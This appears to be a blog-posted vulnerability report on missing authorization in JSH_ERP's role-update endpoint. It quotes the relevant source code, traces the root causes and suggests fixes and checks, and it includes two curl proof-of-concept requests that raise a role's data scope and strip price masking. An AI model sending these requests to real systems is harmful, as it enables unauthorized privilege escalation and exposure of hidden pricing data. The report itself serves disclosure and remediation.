JSH_ERP role update

Vulnerability call chain

1.1 Entry: RoleController.updateResource

RoleController exposes PUT /role/update, and the request body is directly passed to RoleService.updateRole without server-side authorization judgment:

@PutMapping(value = "/update")
@ApiOperation(value = "修改")
public String updateResource(@RequestBody JSONObject obj, HttpServletRequest request)throws Exception {
    Map<String, Object> objectMap = new HashMap<>();
    int update = roleService.updateRole(obj, request);
    return returnStr(objectMap, update);
}

Evidence location: jshERP-boot/src/main/java/com/jsh/erp/controller/RoleController.java:76-81.

Problem: The Controller does not verify whether the current operator has the permission to manage or edit roles, nor does it check whether the target role is within the operator's manageable role scope.

1.2 Core write: RoleService.updateRole

RoleService.updateRole converts the complete request body into a Role entity, and then directly performs a selective primary-key update:

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int updateRole(JSONObject obj, HttpServletRequest request) throws Exception{
    Role role = JSONObject.parseObject(obj.toJSONString(), Role.class);
    int result=0;
    try{
        result=roleMapper.updateByPrimaryKeySelective(role);
        logService.insertLog("角色",
                new StringBuffer(BusinessConstants.LOG_OPERATION_TYPE_EDIT).append(role.getName()).toString(), request);
    }catch(Exception e){
        JshException.writeFail(logger, e);
    }
    return result;
}

Evidence location: jshERP-boot/src/main/java/com/jsh/erp/service/RoleService.java:135-145.

Problem points:

  • It does not call userService.getCurrentUser() or userService.getUserId(request) to obtain the current operator and perform authorization.
  • It does not verify whether the current user has the role-management edit permission.
  • It does not verify whether the target role belongs to the current tenant or the current operator's manageable role set.
  • It does not enforce an upper bound for role.type.
  • It does not prevent a low-privileged user from loosening priceLimit.

1.3 Database write: RoleMapper.updateByPrimaryKeySelective

The MyBatis update mapping allows request-controlled non-null fields such as type and priceLimit to be written into jsh_role:

<if test="type != null">
  type = #{type,jdbcType=VARCHAR},
</if>
<if test="priceLimit != null">
  price_limit = #{priceLimit,jdbcType=VARCHAR},
</if>
...
where id = #{id,jdbcType=BIGINT}

Evidence location: jshERP-boot/src/main/resources/mapper_xml/RoleMapper.xml:244-275.

Problem: The update condition only binds where id = #{id}. It does not add tenant, role hierarchy, or manageable-role-scope constraints. Once the request reaches this method, any non-null sensitive role field can be updated by the client-supplied role ID.

1.4 Security impact of type and priceLimit

Role.type is used as the data-scope boundary. For example, bill and finance services decide whether a user can see only private data, organization data, or all data by reading the current user's role type.

Role.priceLimit is used as a sensitive price-field masking rule:

public Object parseHomePriceByLimit(BigDecimal price, String type, String priceLimit, String emptyInfo, HttpServletRequest request) throws Exception {
    if(StringUtil.isNotEmpty(priceLimit)) {
        if("buy".equals(type) && priceLimit.contains("1")) {
            return emptyInfo;
        }
        if("retail".equals(type) && priceLimit.contains("2")) {
            return emptyInfo;
        }
        if("sale".equals(type) && priceLimit.contains("3")) {
            return emptyInfo;
        }
    }
    return price;
}

public BigDecimal parseBillPriceByLimit(BigDecimal price, String billCategory, String priceLimit, HttpServletRequest request) throws Exception {
    if(StringUtil.isNotEmpty(priceLimit)) {
        if("buy".equals(billCategory) && priceLimit.contains("4")) {
            return BigDecimal.ZERO;
        }
        if("retail".equals(billCategory) && priceLimit.contains("5")) {
            return BigDecimal.ZERO;
        }
        if("sale".equals(billCategory) && priceLimit.contains("6")) {
            return BigDecimal.ZERO;
        }
    }
    return price;
}

Evidence location: jshERP-boot/src/main/java/com/jsh/erp/service/RoleService.java:240-276.

This means the bug is not a simple UI edit issue. jsh_role is a shared role template. After a low-privileged user modifies one role template, all users bound to that role can inherit the modified data scope and price visibility in later business requests.

2. Reproduction request

The issue can be reproduced without relying on the front-end role-management page. An ordinary authenticated user who does not have the front-end "Role Management" entry can directly call jshERP-boot/role/update with a valid low-privilege token and update role template fields.

2.1 Example request: promote role data scope

curl -i -X PUT 'http://127.0.0.1:9999/jshERP-boot/role/update' \
  -H 'Content-Type: application/json' \
  -H 'X-Access-Token: VALID_LOW_PRIVILEGE_TOKEN' \
  --data '{
    "id": TARGET_ROLE_ID,
    "name": "销售代表",
    "type": "全部数据"
  }'

Expected result:

  • The HTTP response indicates success.
  • jsh_role.type is updated to 全部数据.
  • Users bound to TARGET_ROLE_ID receive a wider data scope in later bill or finance queries.

2.2 Example request: loosen price masking

If the target role originally has price_limit = '4,5,6', the attacker can submit an empty priceLimit to remove the existing price masking rule:

curl -i -X PUT 'http://127.0.0.1:9999/jshERP-boot/role/update' \
  -H 'Content-Type: application/json' \
  -H 'X-Access-Token: VALID_LOW_PRIVILEGE_TOKEN' \
  --data '{
    "id": TARGET_ROLE_ID,
    "name": "销售代表",
    "priceLimit": ""
  }'

Expected result:

  • price_limit is updated to an empty string.
  • RoleService.parseHomePriceByLimit, parseBillPriceByLimit, and related price-masking logic no longer match the removed masking items.
  • Users bound to the target role can see price fields that should have been hidden or zeroed.

3. Root Cause Analysis

Root Cause 1: Lack of interface-level authorization.

/role/update is a shared role-template write interface, but the server does not check whether the current user has role-management edit permission. Once the login filter allows the request, the user can enter the core write function.

Root Cause 2: Lack of object-level authorization.

The target role is specified by the request body id, and the update SQL updates only by primary key. It does not verify whether the role belongs to the current tenant, current organization boundary, or the set of roles manageable by the current operator.

Root Cause 3: Missing field-level upper bound.

Both type and priceLimit are permission or business-rule fields. The current implementation treats them as ordinary editable attributes. It does not prevent low-privileged users from promoting a role to a higher data scope or removing existing price masking items.

Root Cause 4: Using a complete entity as the update DTO.

The request body is directly converted to Role.class, which makes all non-null entity fields client-updatable. Permission-sensitive fields and ordinary descriptive fields are not separated by a restricted DTO or field whitelist.

Add mandatory server-side authorization before RoleService.updateRole writes to the database:

  • Only administrators or authorized role managers should update role templates.
  • The target role must exist and must be inside the current tenant or manageable role set.
  • A low-privileged user must not be able to raise role.type above the user's own role ceiling.
  • A low-privileged user must not be able to remove existing priceLimit masking items.
  • The update request should use a restricted RoleUpdateRequest DTO and copy only whitelisted fields.

Suggested validation shape:

Role oldRole = role.getId() == null ? null : roleMapper.selectByPrimaryKey(role.getId());
dataScopeService.checkRoleManageScope(role.getId());
dataScopeService.checkRoleUpdateCeiling(oldRole, role);
result = roleMapper.updateByPrimaryKeySelective(role);

For priceLimit, parse both old and new values as sets. The new set must keep all old masking items unless the operator has explicit permission to loosen price visibility.

5. Verification after fix

The fix should satisfy the following checks:

  • An ordinary user without role-management edit permission receives HTTP 403 when calling /role/update.
  • A low-privileged user cannot change type from 个人数据 or 本机构数据 to 全部数据.
  • A low-privileged user cannot change priceLimit from 4,5,6 to 4,5 or an empty string.
  • Updating a role outside the current tenant or manageable role set is rejected.
  • Direct HTTP requests are rejected by the server even if the front-end button is hidden.

6. Risk conclusion

The core risk is not that a single role name can be changed. The critical issue is that jsh_role is a shared permission template. The current implementation allows any authenticated user to directly modify template-level type and priceLimit, and later business queries dynamically consume these fields. This can cause batch privilege expansion and price-visibility bypass for all users bound to the modified role.

posted @ 2026-06-18 11:59  Aibot  阅读(6)  评论(0)    收藏  举报